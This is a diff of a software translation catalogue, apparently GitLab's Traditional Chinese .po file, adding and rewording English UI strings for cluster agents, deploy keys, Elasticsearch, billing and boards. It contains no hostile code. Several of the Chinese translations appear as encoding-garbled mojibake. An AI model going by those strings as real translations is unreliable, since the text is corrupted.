+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3439,6 +3480,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "é è¦½ blob 檔案時發生錯誤"
@@ -3598,6 +3642,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "載入上交簽署時發生錯誤"
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,12 +6432,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "優é¸"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6391,9 +6486,6 @@ msgstr "變更"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr "將標題改為「%{title_param}ã€ã€‚"
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "創建新目錄"
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "標籤"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "創建個人訪å•ä»¤ç‰Œ"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron 時å€"
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr "刪除留言"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr "目錄å稱"
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr "編輯留言"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "這些日期會影響在開發è—圖中 Epic 的顯示方å¼ã€‚來自里程碑的日期來自å°æ‡‰åˆ° Epic 中議題的里程碑。您也å¯ä»¥è¨­å®šå›ºå®šæ—¥æœŸã€æˆ–是完全移除它們。"
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
